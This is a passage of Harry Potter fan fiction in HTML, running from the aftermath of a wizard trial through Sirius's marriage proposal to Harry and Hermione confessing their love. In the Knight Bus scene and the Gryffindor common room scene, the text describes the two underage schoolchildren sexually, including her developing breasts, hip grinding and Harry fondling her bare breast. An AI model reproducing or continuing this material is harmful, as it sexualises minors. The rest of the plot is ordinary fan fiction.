now.&#8221;</p>\n\n<p>&#8220;One last question for you,&#8221; Hermione said as she levelled her eyes towards Fudge.&nbsp; &#8220;Is Minister Cornelius Fudge a Death Eater?&#8221;</p>\n\n<p>&#8220;No, but he&#8217;s been a long-time supporter and spy.&#8221;</p>\n\n<p>The room erupted into chaos.&nbsp; Fudge stood up and started stammering excuses.&nbsp; Percy looked shocked and moved away from Fudge as quickly as possible.&nbsp; Judge Diggory banged his gavel violently, trying desperately to regain control of the courtroom.</p>\n\n<p>A tall and very elderly looking wizard stood in the back of the room and commanded, <i>&#8220;Sonorus!&#8221;</i></p>\n\n<p>His voice was then magically amplified in the room.&nbsp; &#8220;As a ranking member of the International Confederation of Wizards, I would like to make a motion to recess from these current proceedings.&nbsp; We should offer the current Minister of Magic the ability to identify a barrister if he so chooses and in one hour&#8217;s time we shall reconvene to begin an inquiry into the charges that have been levelled against him.&nbsp; Along with the very real possibility that a confidence vote shall be called at any time.&#8221;</p>\n\n<p>Diggory looked up at the man and a relieved look crossed his face.&nbsp; &#8220;Is there a second?&#8221; he asked.</p>\n\n<p>&#8220;SECOND!&#8221; the room seemed to shout in unison.&nbsp; </p>\n\n<p>&#8220;All those in favour?&#8221; Diggory asked.</p>\n\n<p>&#8220;AYE!&#8221; came the thunderous reply.</p>\n\n<p>&#8220;We&#8217;re adjourned until further notice,&#8221; Diggory said rapping his gavel.</p>\n\n<p>The room erupted in noise once again.&nbsp; People were angrily denouncing Fudge.&nbsp; The words &#8216;Death Eater,&#8217; &#8216;Fudge,&#8217; and &#8216;disgrace,&#8217; were heard repeatedly.&nbsp; The bailiffs didn&#8217;t know how to respond to the entire room standing and milling about.</p>\n\n<p>At first there was confusion as to what was to happen with the prisoners.&nbsp; Harry sat in his chair and waited for someone to come forward.&nbsp; Finally Mr. Weasley came and spoke with Cotton Mathews, who nodded after awhile.&nbsp; Mr. Weasley then went and talked with several of the guards who came forward and ushered the five prisoners across the hall into a waiting conference room.&nbsp; They were unshackled and told that they had to remain in this room until further notice.&nbsp; The conference room had a massive oak table in the centre of the room surrounded by large carved wooden chairs.</p>\n\n<p>As soon as he was unshackled Harry looked desperately around the room for Hermione.&nbsp; He needed to find her.&nbsp; He found himself pushing people aside looking for her.&nbsp; When his eyes finally met hers he felt like they were the only two people in the room.&nbsp; He called out her name, rushed to her and pulled her into his arms.&nbsp; He had a fleeting thought to simply give her a friendly congratulatory kiss on the cheek, but instead he wound up kissing her solidly on the mouth.&nbsp; This was the first time he had ever kissed a girl and as soon as his lips touched hers, the Veritaserum took hold and he found that his desire for her put all thoughts of a chaste kiss out of his mind.&nbsp;&nbsp; The overwhelming urge to kiss her that he had first felt at Christmas was now being completely surrendered to.&nbsp;&nbsp; </p>\n\n<p>Harry&#8217;s passion was quickly met by Hermione&#8217;s lips, which responded to him.&nbsp; She threw her arms around his neck and pressed her body against his.&nbsp; Her mouth opened and as their kiss deepened, Harry felt as if he was falling in her arms.&nbsp; His head was spinning out of control and he wondered how he had resisted kissing her for so long.</p>\n\n<p>&#8220;Ahem,&#8221; someone said quite loudly behind them.</p>\n\n<p>The loud clearing of the throat brought Harry back to reality and reminded him that they were in a room full of people.&nbsp; He broke the kiss and saw Hermione&#8217;s closed eyes and her lips pursed in mid-pucker in the air.&nbsp; Her eyelids fluttered and she looked up at him very surprised.&nbsp; They were still locked in an embrace and Harry was grinning down at her.</p>\n\n<p>&#8220;Thanks Hermione,&#8221; he beamed.&nbsp; &#8220;I knew you could do it.&nbsp; We would all be in Azkaban right now without your being there to help us.&nbsp; You were incredible.&#8221;</p>\n\n<p>Once again someone cleared their throat behind Harry.&nbsp; He turned around and saw that it was Snape.&nbsp; Harry began to blush furiously and then let his arms drop from Hermione&#8217;s side.&nbsp; Snape came forward and extended his hand to her.</p>\n\n<p>&#8220;Miss Granger, I wanted to extend to you my deepest gratitude.&nbsp; You did an admirable job in there.&nbsp; I was very impressed.&#8221;</p>\n\n<p>&#8220;Thank you, Professor Snape,&#8221; Hermione squeaked as she shook his hand.</p>\n\n<p>Dumbledore made his way forward and also shook her hand.</p>\n\n<p>&#8220;Yes, you did a fine job Miss Granger.&nbsp; I expect someday to see you as the Minister of Magic.&#8221;</p>\n\n<p>&#8220;Thank you,&#8221; she gasped, &#8220;Thank you very much Professor Dumbledore.&#8221;</p>\n\n<p>&#8220;No, the thanks belong to you, Miss Granger,&#8221; he continued.&nbsp; &#8220;Not only from those who you so ably defended, but the Magical Community at large.&nbsp; You helped to show that Justice means divining the Truth and not just administering a truth potion and asking one-sided questions.&#8221;</p>\n\n<p>&#8220;Professor Dumbledore,&#8221; Harry interjected.&nbsp; &#8220;What do you think is going to happen now?&#8221;</p>\n\n<p>&#8220;I am optimistic that all the charges against us will be dropped,&#8221; he replied with a twinkle in his eyes.&nbsp; &#8220;And that charges will soon be brought against Macnair, Bode, Croaker, Pettigrew, Avery and Fudge before the night is over.&#8221;</p>\n\n<p>Hagrid then came forward and embraced both Harry and Hermione in a large bear hug.&nbsp; Their feet were raised four feet in the air before he set them down.&nbsp; </p>\n\n<p>&#8220;Blimey, you were ruddy brilliant, Hermione.&nbsp; I shoulda had you come an&#8217; defend Buckbeak.&nbsp; I didn&#8217; know what I was doin&#8217;, but you,&#8221; and he squeezed her again.&nbsp; &#8220;You knew jus&#8217; what to do.&#8221;</p>\n\n<p>Hermione looked like she had the wind knocked out of her and began to wheeze.&nbsp; Dumbledore stepped forward to usher Hagrid away to another part of the room.&nbsp; </p>\n\n<p>&#8220;Are you okay, Hermione?&#8221; asked Harry.</p>\n\n<p>&#8220;Yeah, I&#8217;ll be fine.&nbsp; Just let me catch my breath,&#8221; she gasped.</p>\n\n<p>Then Sirius and Professor Figg stepped forward.&nbsp; Sirius was holding Soraya in his arms and reached down and gave Hermione a warm kiss on the cheek.</p>\n\n<p>&#8220;Where were you when I was first arrested?&nbsp; I needed someone like you back then,&#8221; he beamed and kissed her on the other cheek.&nbsp; &#8220;You were fantastic.&nbsp; The panel of witches and wizards were very impressed with you.&nbsp; You won&#8217;t have any trouble in finding an occupation when you graduate.&nbsp; Your difficulty will be in wading through all the hundreds of offers that&#8217;ll be coming your way.&#8221;</p>\n\n<p>Professor Figg then embraced her, &#8220;Thank you Hermione, for saving my family.&#8221;</p>\n\n<p>&#8220;I&#8217;m glad I could help,&#8221; Hermione said modestly and then turned to Harry.&nbsp; &#8220;Why didn&#8217;t you tell me about your swallowing Pettigrew?&#8221;</p>\n\n<p>&#8220;I couldn&#8217;t.&nbsp; We were surrounded by Ministry officials.&nbsp; I tried to give you subtle clues, but was afraid to say anything explicit.&nbsp; I knew that if I could produce him in front of a courtroom full of witnesses that it couldn&#8217;t be covered up.&#8221;</p>\n\n<p>&#8220;How did you know when to use that stuff in the bottle?&#8221; Sirius asked her.</p>\n\n<p>&#8220;Harry told me that he&#8217;d sneeze three times when he needed it.&nbsp; But I had no idea why until he mouthed the words &#8216;<i>habeas corpus</i>&#8217; right before he left the courtroom in recess.&nbsp; <i>Habeas corpus</i> is Latin for &#8216;you have the body.&#8217;&nbsp; As soon as I looked it up I understood because Harry had said something before we got on the minibus about needing to bring up Scabbers in the testimony,&#8221; Hermione said laughing.&nbsp; &#8220;When I thought of how he was a snake Animagus, I realized what he must have done in the forest.&#8221;</p>\n\n<p>Soon food was brought into the conference room and everyone was milling about laughing, talking and eating.&nbsp; The room took on an almost party atmosphere. &nbsp;The worries of the last day seemed to have lifted and they were hoping that they&#8217;d soon have good news.&nbsp; They had just piled their plates with food when shouts and disturbances were heard from across the hall.&nbsp; A few minutes later, Moody walked in.</p>\n\n<p>&#8220;They&#8217;re dropping all the charges against all of you,&#8221; he growled.&nbsp; &#8220;You&#8217;ll be transported back to Hogwarts by the Knight Bus within the hour.&nbsp; The former Minister will be transported to Azkaban along with the Death Eaters and spies you apprehended awaiting their trials.&nbsp; They also issued a warrant for arrest out for Wallace Avery.&nbsp; Albus, they were wondering if you might stay around here to help in the full inquiry.&#8221;</p>\n\n<p>&#8220;I&#8217;ll stay through tomorrow evening, but then I must get back to Hogwarts.&nbsp; I would recommend that Arthur Weasley be placed in charge of the matter.&nbsp; He&#8217;s been with the Ministry for decades and I&#8217;m certain that his loyalty has never wavered.&#8221;</p>\n\n<p>&#8220;Very well, I&#8217;ll tell them that you&#8217;ll help get things started, but that you won&#8217;t be in charge of the inquiry,&#8221; Moody said as he clunked his way out of the room.</p>\n\n<p>&#8220;And I think,&#8221; Dumbledore said to Harry, &#8220;that there&#8217;s a good chance that your expulsion hearing might be cancelled due to recent events.&nbsp; We now know that it was a Death Eater plot at the funeral that led to your violation of the underage wizardry law, this coupled with the fact that the person who filed the complaint against you was just forcibly removed from office after having been revealed as an agent for Voldemort.&nbsp; That should be enough to sway the Board of Governors.&nbsp; You should also be aware that it was my good friend Albert Albini who moved to adjourn the proceedings.&nbsp; I think he probably saw enough testimony today to form an opinion regarding your integrity and where your loyalties lie and to realize that your performing magic outside of school was in the best of intentions.&#8221;</p>\n\n<p>Dumbledore then turned to Snape, &#8220;Severus, I&#8217;ll be leaving you in charge to see that everyone gets back to school safely on the Knight Bus.&nbsp; Please tell Professor McGonagall that I should be back at the school tomorrow night.&nbsp; I also need to see about the security at <st1:street><st1:address>Privet Drive</st1:address></st1:street>.&nbsp; I want to make sure that Fletcher and Lupin haven&#8217;t been detained and that yesterday&#8217;s attack hasn&#8217;t weakened its defences.&#8221;</p>\n\n<p>Sirius took Professor Figg&#8217;s hand and led her into a corner.&nbsp; He had a determined look on his face.</p>\n\n<p>&#8220;What is it Sirius?&#8221; she asked.</p>\n\n<p>He gently handed her their daughter and got on bended knee.&nbsp; &#8220;Arabella Figg, will you marry me?&#8221;</p>\n\n<p>She looked at him, her face filled with emotion, &#8220;I would love to.&#8221;</p>\n\n<p>He stood up and began kissing her passionately, with baby Soraya squirming between them.&nbsp; When Sirius broke the kiss, he turned to Harry, &#8220;Will you be my Best Man?&#8221;</p>\n\n<p>&#8220;Of course!&#8221;</p>\n\n<p>&#8220;Hermione, I&#8217;d like you to be my Maid of Honour.&#8221;</p>\n\n<p>&#8220;Certainly, Professor Figg,&#8221; she replied.</p>\n\n<p>&#8220;Well, I guess all we have to do is decide where and when,&#8221; said Sirius.</p>\n\n<p>&#8220;At Hogwarts, of course,&#8221; Dumbledore interjected.&nbsp; &#8220;We&#8217;ll have it on the day that the Hogwarts Express leaves so you can have it as intimate as you&#8217;d like.&nbsp; Anyone that stays like Mr. Potter and Miss Granger can take the Knight Bus home the next day.&nbsp; Congratulations you two.&nbsp; It has been far too long since we&#8217;ve had something to celebrate.&nbsp; So with that in mind, you have my approval to spare no expense on this celebration.&nbsp; And Sirius, you should stay in the faculty quarters tonight.&nbsp; You can go back to Little Whinging in the morning.&#8221; </p>\n\n<p>Dumbledore then leaned over and gave Professor Figg a warm kiss on the cheek, &#8220;I&#8217;m happy for you.&#8221;</p>\n\n<p>&#8220;The first thing I&#8217;m going to do when we get back to Hogwarts is send an owl to my parents,&#8221; Sirius announced.&nbsp; &#8220;I need to tell them that their son is alive and well, innocent, cleared of all charges, that I&#8217;m hopelessly in love with the most incredible woman who&#8217;s agreed to marry me and that they are grandparents.&#8221;</p>\n\n<p>&#8220;I think they&#8217;re going to love getting that letter,&#8221; Professor Figg said.&nbsp; &#8220;I&#8217;ve never met them before.&nbsp; Do you think they&#8217;ll like me?&#8221;</p>\n\n<p>&#8220;They&#8217;ll adore you,&#8221; he said embracing her, &#8220;and they&#8217;ll go crazy over Soraya.&nbsp; I&#8217;m sure that my mother will Apparate into Hogsmeade the minute she reads the letter.&nbsp; She won&#8217;t waste any time in getting to know her only grandchild.&#8221;</p>\n\n<p>&#8220;What&#8217;s she like?&#8221; </p>\n\n<p>&#8220;She&#8217;s wonderful and umm, she&#8217;s heard a lot about you,&#8221; Sirius said with a sly smile.&nbsp; &#8220;I used to tell her things about my job and she&#8217;d always interject that I needed to find a girl just like you to settle down with.&nbsp; So I wouldn&#8217;t worry too much about whether or not she&#8217;ll like you.&nbsp; She began using you as the gold standard for me to find a partner and that&#8217;s without even having met you.&nbsp; And that was long before I had fallen in love with you.&#8221;</p>\n\n<p>Professor Figg smiled and kissed her fianc&#233;.</p>\n\n<p>&#8220;Thanks, I don&#8217;t feel quite so nervous.&nbsp; Hermione, come over here,&#8221; Professor Figg motioned, &#8220;we need to start talking about wedding plans.&nbsp; I think this weekend we should go to Hogsmeade and look at dresses.&#8221;</p>\n\n<p>Sirius walked up to Harry and spoke to him in an undertone, &#8220;Tonight when we go back on the Knight Bus, if you don&#8217;t profess your undying love to Hermione, then you&#8217;ll be the biggest fool I&#8217;ve ever met.&nbsp; You will never find another woman who is so devoted to you, that cares for you because of who you are and not due to your fame or looks.&nbsp; Do your best to make her forget every other boy she has ever met.&nbsp; Kiss her like she&#8217;s never been kissed before.&nbsp; I&#8217;ll do what I can to help get you some privacy.&#8221;</p>\n\n<p>Harry smiled sheepishly and nodded.&nbsp; He returned to Hermione&#8217;s side and slid his arm around her back and squeezed gently.&nbsp; She smiled and rested her head on his shoulder.</p>\n\n<p>Later as they all were leaving the Ministry of Magic behind, Harry and Hermione were about to enter the Knight Bus when Sirius tapped his godson on the shoulder.&nbsp; &#8220;Follow me, you two.&#8221;</p>\n\n<p>Sirius led them up the stairs to the second level on the bus and to the bed at the very back.&nbsp; There was no one else in any of the nearby beds.&nbsp; He conjured some curtains to surround the bed.</p>\n\n<p>&#8220;Why don&#8217;t you two take this opportunity to just talk quietly or&#8230;maybe finish that kiss?&#8221; he said slyly.</p>\n\n<p>Harry and Hermione blushed.</p>\n\n<p>&#8220;Umm, Sirius, don&#8217;t you think that might get in the papers if we went behind a curtain?&#8221; asked Hermione.</p>\n\n<p>&#8220;Let&#8217;s hope that they&#8217;ve got a little bit more important news than idle gossip to cover tomorrow.&nbsp; You know, like how the trial went and how Fudge was disgraced and removed from office?&nbsp; Maybe print something about there being proof that Voldemort has risen.&nbsp; Or maybe they might even issue a retraction or two about me.&#8221;&nbsp; </p>\n\n<p>Sirius then motioned to Harry.&nbsp; They walked a few paces away and Sirius said to him quietly, &#8220;Keep it clean.&nbsp; Hands on top of the clothes and stay on top of the blankets.&#8221;</p>\n\n<p>Harry nodded and felt his face blush even further.</p>\n\n<p>Snape came striding towards them and looked very disturbed.&nbsp; &#8220;Black what is the meaning of this curtain?&nbsp; Miss Granger, Mr. Potter, I think we need to remember some propriety here.&nbsp; We are still officially on Hogwarts&#8217; business.&nbsp; I think this curtain would serve to allow <i>inappropriate</i> behavior.&#8221;</p>\n\n<p>&#8220;Severus,&#8221; said Sirius softly, &#8220;Let&#8217;s give the kids some privacy.&nbsp; They&#8217;re young and in love&#8230;&#8221;</p>\n\n<p>&#8220;And I thought she said they weren&#8217;t a couple,&#8221; Snape said coolly.</p>\n\n<p>&#8220;Well, um, I think all that has changed.&nbsp; And I believe that part of her testimony fell under the category, &#8216;I think thou dost protest too much.&#8217;&nbsp; Severus, after a day like we&#8217;ve all had, they deserve to have a little celebratory kissing.&nbsp; Believe me, they won&#8217;t do much more.&nbsp; These beds are charmed so if anyone tries to umm, use them for <i>other</i> purposes that the bedsprings will have an amplified squeak heard throughout the bus.&#8221;</p>\n\n<p>&#8220;And how would you know that?&#8221; Snape asked.</p>\n\n<p>&#8220;Well, in my younger and reckless days&#8230;&#8221; Sirius began.&nbsp; </p>\n\n<p>Snape waved his hands in trying to stop him from continuing, &#8220;Of course.&nbsp; I don&#8217;t know why I questioned your knowledge of such things.&#8221;&nbsp; He then turned to Hermione, &#8220;Very well, I shall allow this curtain to stay.&nbsp; But I remind you to not bring any embarrassment to Hogwarts.&nbsp; I would also like to mention to Miss Granger that the effects of Veritaserum will still be in effect for about another hour or so on Potter.&#8221;</p>\n\n<p>Sirius then turned to Snape, &#8220;Severus, I never properly thanked you for helping Harry to rescue me.&nbsp; I&#8217;ve also never apologized for the horrible prank I pulled on you so many years ago.&nbsp; I was a prat, a blooming idiot and a bloody asshole.&nbsp; I was reckless and there&#8217;s no excuse for what I did and I want to say that I am sorry.&nbsp; I&#8217;m glad that James had the presence of mind to intervene on your behalf before anything tragic happened.&#8221;</p>\n\n<p>Snape nodded, &#8220;Thank you, Sirius.&nbsp; I appreciate that.&#8221;</p>\n\n<p>Sirius clapped his hand on Snape&#8217;s back and said, &#8220;Let me buy you a drink.&nbsp; There&#8217;s a bar on the third floor.&nbsp; Maybe we can try to put aside all the garbage from our childhood years and start working on getting to know each other as adults.&#8221;</p>\n\n<p>Snape eyed him warily as they walked away together towards the front of the bus.</p>\n\n<p>Harry turned to Hermione.&nbsp; They both had wide-open mouths.</p>\n\n<p>&#8220;I can&#8217;t believe it,&#8221; Harry began.&nbsp; &#8220;Sirius and Snape seem to be trying to get along with each other.&nbsp; I never thought I&#8217;d see that.&#8221;</p>\n\n<p>Hermione took him by the hand and they slipped behind the curtain and sat down on the bed.&nbsp; They looked at each other and Harry&#8217;s heart melted.&nbsp; He took her face and held it in his hands.&nbsp; As he gazed into her dark brown eyes he knew that he had to tell her what was in his heart.&nbsp; He wasn&#8217;t sure if he was just following Sirius&#8217;s advice, if it was due to the Veritaserum, or if he simply needed to admit to himself and to her all the feelings of attraction he had been experiencing towards her for months.&nbsp; All he knew was that he had to tell her exactly how he felt about her.</p>\n\n<p>&#8220;You are so beautiful.&nbsp; I realized today just how much you mean to me.&nbsp; I love your passion for justice, your quick wit and your unswerving loyalty.&nbsp; You&#8217;re not only my best friend, but you&#8217;re the woman I love,&#8221; he said softly.</p>\n\n<p>&#8220;How long have you felt this way towards me?&#8221; she asked.</p>\n\n<p>&#8220;I started feeling strongly attracted to you at Christmas when we talked after that reading I gave you.&nbsp; I had never really seen you as a whole person before and my heart went out to you when I saw you in such pain.&nbsp; I knew that it wouldn&#8217;t be the right time to say anything about how I felt towards you then, it would have only complicated things.&nbsp; And then you wore that red dress.&nbsp; I had a hard time controlling myself and not kiss you then.&nbsp; I was afraid that it might ruin our friendship if you didn&#8217;t feel the same way towards me.&#8221;</p>\n\n<p>&#8220;I wanted you to kiss me then,&#8221; she said.&nbsp; &#8220;I wanted you to tell me to dump Viktor.&nbsp; I would have done it.&nbsp; But it&#8217;s probably a good thing you didn&#8217;t.&nbsp; I was such an emotional train wreck then.&nbsp; If you had told me that night that you were interested in me, I&#8217;m sure I would have scared you off by being so needy.&#8221;</p>\n\n<p>Harry brushed the hair off her face.&nbsp; &#8220;Today when you said so confidently that we weren&#8217;t a couple, I began to think that maybe you weren&#8217;t interested in me.&#8221;</p>\n\n<p>&#8220;I had to say it that way.&nbsp; I told the truth, but I was afraid that if Judge Diggory knew what was in my heart, that he would never have allowed me to defend you.&nbsp; I&#8217;ve wanted us to be a couple for so long.&nbsp; I&#8217;ve dreamt of us together.&nbsp; This past month I had to literally stop myself from kissing you half a dozen times.&#8221;</p>\n\n<p>&#8220;Me, too,&#8221; Harry admitted.&nbsp; &#8220;I&#8217;ve been so worried that I might not see you again if I were expelled.&nbsp; I would have made my move after you broke up with Krum, but there was that picture in the paper.&nbsp; I didn&#8217;t know if you&#8217;d ever forgive me.&nbsp; Then after Charlie&#8217;s death, I became really worried about your safety more than ever.&nbsp; I didn&#8217;t want to make you any more of a target for Death Eaters than you already are.&nbsp; Now, I realize it doesn&#8217;t matter and I can&#8217;t deny my feelings for you any longer.&#8221;</p>\n\n<p>Hermione&#8217;s eyes started to water and she leaned forward to kiss Harry.&nbsp; The Knight Bus jerked forward with a loud Bang!&nbsp; This threw them backwards onto the bed with Hermione on top of him.&nbsp; Their mouths hungrily connected and their kissing became intense.&nbsp; </p>\n\n<p>Harry&#8217;s mind began swimming with images of Hermione.&nbsp; He saw her the first day they met on the Hogwarts Express&#8230;being attacked by a mountain troll&#8230;going under Fluffy&#8217;s trap door&#8230;her throwing her arms around him before he faced Quirrell alone&#8230;Nearly Headless Nick&#8217;s Deathday party&#8230;her pouring the Polyjuice Potion in glasses&#8230;looking like an overgrown cat&#8230;then petrified&#8230;her screaming &#8220;you solved it!&#8221; after he vanquished the Basilisk&#8230;carrying Crookshanks in Diagon Alley&#8230;hiding her head behind a book when McGonagall seized his Firebolt&#8230; telling Hagrid that she would help him defend Buckbeak&#8230; slapping Malfoy&#8230;the look of fear on her face when they first saw Sirius Black in the Shrieking Shack&#8230;the two of them wearing her timeturner necklace and feeling how close together they were standing&#8230;waiting in the darkened broom cupboard with her as their previous selves walked by&#8230;having her arms around his waist as they flew on Buckbeak to save Sirius&#8230;walking with her at the magical spectacle of the Quidditch World Cup&#8230;the terror later that night in the woods&#8230;the anger she felt at Winky&#8217;s mistreatment by Crouch and Diggory&#8230;walking around the lake together the morning after he was named the fourth Triwizard champion&#8230;helping Harry with Summoning charms before the first task&#8230;the claw marks on her face after he dealt with the Hungarian Horntail&#8230;her walking in on Viktor Krum&#8217;s arm at the Yule Ball&#8230;</p>\n\n<p>That last image stuck in Harry&#8217;s mind.&nbsp; He was now trying to actively change that image.&nbsp; He saw himself dropping Parvati&#8217;s arm and walking over to Hermione &#8211; tapping her on the shoulder and taking her in his arms and kissing her for the whole school to see.</p>\n\n<p>Harry started to feel a warmth spread through his veins and throughout his body.&nbsp; His mind seemed to sharpen and he realized that the Veritaserum was wearing off.&nbsp; New sensations started to flood his body.&nbsp;&nbsp; Harry became very aware of Hermione&#8217;s body lying on top of him and her firm developing breasts pressing down on his chest.&nbsp; Her hands were running through his long thick hair.&nbsp; One of her legs was resting across his body and one of her hips was gently grinding into his pelvis.&nbsp; He felt as if steam was rising in his body.&nbsp; Hermione seemed to have sensed that the intensity of his passion was now surging because she rolled onto her side and Harry turned over to meet her gaze.&nbsp; They lay there smiling and looking at each other.</p>\n\n<p>&#8220;I love you, Harry Potter.&nbsp; I started loving you the day that you jumped on the back of that mountain troll and stuck your wand up its nose.&nbsp; It was so incredibly brave and so incredibly stupid.&nbsp; I couldn&#8217;t believe that anyone would risk their life for me.&nbsp; I&#8217;ve been in love with you ever since,&#8221; Hermione said softly.</p>\n\n<p>Tears started to form in his eyes as he began to kiss her tenderly and then passionately.&nbsp; Harry finally understood what Sirius had told him about love all those months ago.&nbsp; Love was the most powerful magic he had ever felt and his heart felt like it had swollen in his body and was about to burst.&nbsp; He was in love and was loved in return - it felt far better than he had ever imagined.</p>\n\n<p>*</p>\n\n<p>After they left the Knight Bus, Harry and Hermione walked slowly arm in arm back to <st1:place><st1:placename>Gryffindor</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place>.&nbsp; Neither wanted to enter the common room and end the evening.&nbsp; They stopped and kissed in front of the Fat Lady.</p>\n\n<p>&#8220;&#8217;Tis a little past curfew isn&#8217;t it?&#8221; she asked them slyly.</p>\n\n<p>&#8220;<i>Carpe diem</i>,&#8221; Harry responded.</p>\n\n<p>&#8220;All right you two,&#8221; the Fat Lady said as she swung the portrait open.</p>\n\n<p>They climbed in through the portrait hole and into the Gryffindor common room.&nbsp; It was deserted and silent.&nbsp; </p>\n\n<p>&#8220;Would you like to talk?&#8221; he asked.</p>\n\n<p>Hermione nodded.&nbsp; Harry looked at the fireplace and thought it would be nice to have a fire, even though they didn&#8217;t need it for warmth.&nbsp; <i>&#8220;Incendio!&#8221;</i> he called and immediately there was a roaring fire.&nbsp; Hermione took Harry by the hand and led him to the large wingback chair sitting in front of the fireplace.&nbsp; He sat down and she curled up in his lap.&nbsp; They sat there gazing into each other&#8217;s eyes.&nbsp; Harry&#8217;s left arm was wrapped around her back while he softly stroked the side of her face.</p>\n\n<p>&#8220;Harry, when I saw that picture of you looking at me.&nbsp; I <i>was</i> embarrassed, but I was also encouraged.&nbsp; I knew that you were starting to see me as a girl and not just as a friend.&#8221;</p>\n\n<p>&#8220;I couldn&#8217;t miss that fact when you were wearing that dress.&#8221;</p>\n\n<p>&#8220;Harry, have you ever dreamt about me?&#8221; she asked quietly.</p>\n\n<p>He nodded.&nbsp; &#8220;Constantly.&nbsp; I&#8217;ve dreamt of holding you, kissing you and&#8230;touching you all over.&#8221;</p>\n\n<p>Harry brought his face to hers and gave her full lingering kisses.&nbsp; His right hand went down to her waist and slowly moved up to caress her left breast.&nbsp; Hermione uttered a soft moan and she began unbuttoning her blouse.&nbsp; She took his hand and placed it underneath the silky fabric of her bra.&nbsp; Harry felt the hair on his scalp tingle.&nbsp; The sensation of feeling her breast was far better than he had ever imagined.&nbsp; He softly pinched the hard little nipple between his thumb and forefinger and then slowly felt the small little bumps on the areola.&nbsp; </p>\n\n<p>&#8220;Oh, Harry,&#8221; Hermione murmured as she nibbled on an earlobe.</p>\n\n<p>She shifted in his lap and moved his hand to cup her exposed breast.&nbsp; She put her hand behind his head and started drawing him near her.&nbsp; Harry felt his breath on her chest and was a centimetre from kissing it when&#8230;</p>\n\n<p><i>Creakkkk</i><i>!</i></p>\n\n<p>&#8220;Harry is that you?&#8221; asked Ron&#8217;s familiar voice coming down the stairs.</p>\n\n<p>Harry&#8217;s head snapped back and he jerked his hand out of Hermione&#8217;s blouse.&nbsp; She was busily redoing her buttons and trying to smooth her hair.</p>\n\n<p>Ron came into view and saw the two of them together in the wingback chair.&nbsp; There would be no way to deny what had been happening between them.</p>\n\n<p>&#8220;Umm, Harry, Hermione, were you two&#8230;&#8221; Ron sniffed.</p>\n\n<p>Harry blinked.&nbsp; &#8220;Er, we were&#8230;.kissing,&#8221; Harry said with a goofy grin on his face.&nbsp; Ron would have had to find out sooner or later about them.&nbsp; There was no point in trying to lie to Ron when he was caught with Hermione sitting on his lap.</p>\n\n<p>&#8220;So are you two&#8230;?&#8221;</p>\n\n<p>&#8220;A couple,&#8221; Harry said happily.</p>\n\n<p>&#8220;Oh,&#8221; said Ron stupidly.&nbsp; He didn&#8217;t seem like he really wanted to deal with that fact just yet.&nbsp; &#8220;What happened yesterday and today?&nbsp; Where were you and Professors Dumbledore, Snape, and Figg?&nbsp; There were all kinds of wild rumours flying around, but I don&#8217;t know what to believe.&#8221;</p>\n\n<p>Harry and Hermione stood up and moved over to sit down on one end of the couch.&nbsp; They sat holding hands and she leaned against Harry.&nbsp; Ron sat down on the other end of the couch and looked very uncomfortable.</p>\n\n<p>&#8220;Well, first off, Professor Figg gave birth,&#8221; said Hermione licking her lips.</p>\n\n<p>&#8220;What?&nbsp; She was pregnant?&nbsp; I thought Malfoy was just being mean about her gaining a little weight,&#8221; exclaimed Ron.</p>\n\n<p>&#8220;Well, she tried her best to keep it a secret.&nbsp; She&#8217;s tall and so it doesn&#8217;t show as much as it does with shorter women,&#8221; explained Hermione.&nbsp; &#8220;I mean I&#8217;m sure that when I get pregnant I&#8217;ll look like I&#8217;ve got a watermelon under my skirt.&#8221;</p>\n\n<p>&#8220;Thanks for the visual,&#8221; Ron said shaking his head.</p>\n\n<p>&#8220;Well it&#8217;s true,&#8221; Hermione said defensively.&nbsp; &#8220;Tall women have a lot of advantages over us &#8216;vertically challenged&#8217; women.&nbsp; That&#8217;s just one of them.&nbsp; They&#8217;ve got a longer trunk so they carry their pregnancies differently.&nbsp; Plus she had been wearing full robes, which can hide a lot.&#8221;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&#8220;She&#8217;s also pretty adept at Disillusionment charms,&#8221; added Harry.&nbsp; &#8220;Anyway, that&#8217;s why we left yesterday after breakfast.&nbsp;&nbsp; She sent us word that it was time.&#8221;</p>\n\n<p>&#8220;Why did she want you there, Harry?&#8221; asked Ron his eyes narrowing.</p>\n\n<p>&#8220;Because Sirius is the father and he was there, too,&#8221; answered Harry.</p>\n\n<p><i>&#8220;What?&#8221;</i> said Ron in visible shock.&nbsp; &#8220;Did you know about those two?&#8221;</p>\n\n<p>Harry nodded.&nbsp; &#8220;Umm, yeah.&nbsp; You see, Professor Figg used to be my babysitter.&#8221;</p>\n\n<p>&#8220;What?&#8221; Ron and Hermione asked in unison.</p>\n\n<p>&#8220;Except she didn&#8217;t look like she does now.&nbsp; She took an aging potion and looked like she was in her eighties.&nbsp; She was in charge of my security growing up.&nbsp; Remember at the beginning of the year when she said she had provided security for a private client?&nbsp; Dumbledore hired her to provide my protection.&nbsp; Anyway, last summer she and Sirius started tutoring me extensively.&nbsp; That&#8217;s how I got so good at Transfiguration.&nbsp; They helped me become an Animagus.&#8221;</p>\n\n<p>&#8220;W-what kind of animal are you?&#8221; Ron asked nervously.</p>\n\n<p>&#8220;A snake.&#8221;</p>\n\n<p>Ron looked disgusted.</p>\n\n<p>&#8220;I know.&nbsp; I&#8217;m not too thrilled with that either.&nbsp; Anyway, last summer when I saw them together it was pretty obvious how they felt about one another.&nbsp; When she came here to teach, Sirius stayed at her house watching over the neighbourhood.&nbsp; I hated not telling you two about my summer, but they were worried about his safety.&nbsp; They swore me to secrecy.&nbsp; Anyway, I didn&#8217;t realize she was pregnant until last week when she asked me to stay after class.&nbsp; She propped her feet up and I saw the way her robe hung on her body.&nbsp; That was when she asked me to help her when she was in labour.&#8221;</p>\n\n<p>&#8220;Sirius was there at the birth,&#8221; Hermione interjected, &#8220;but I didn&#8217;t recognize him.&nbsp; He had changed his appearance and voice and even though he was right there beside me I didn&#8217;t know it was him.&#8221;</p>\n\n<p>&#8220;So she gave birth and then&#8230;&#8221;</p>\n\n<p>Harry then told Ron all about Sirius leaving a little while after Soraya was born, his being taken hostage and how Harry and Snape rescued Sirius and captured the Death Eaters.&nbsp; Then how things got turned upside-down after they returned to the castle.&nbsp; How instead of the Death Eaters being taken away by the Ministry of Magic, that Harry, Sirius, and Professors Dumbledore, Snape, and Figg were arrested and taken for an emergency trial and how Hagrid, the midwife and Hermione were brought along as material witnesses because they were at the birth but not considered part of the conspiracy to safeguard Sirius.</p>\n\n<p>Ron was fascinated to hear about the court proceedings and how Hermione was able to convince the assembled panel to allow her to act as a barrister.&nbsp; He shook his head in 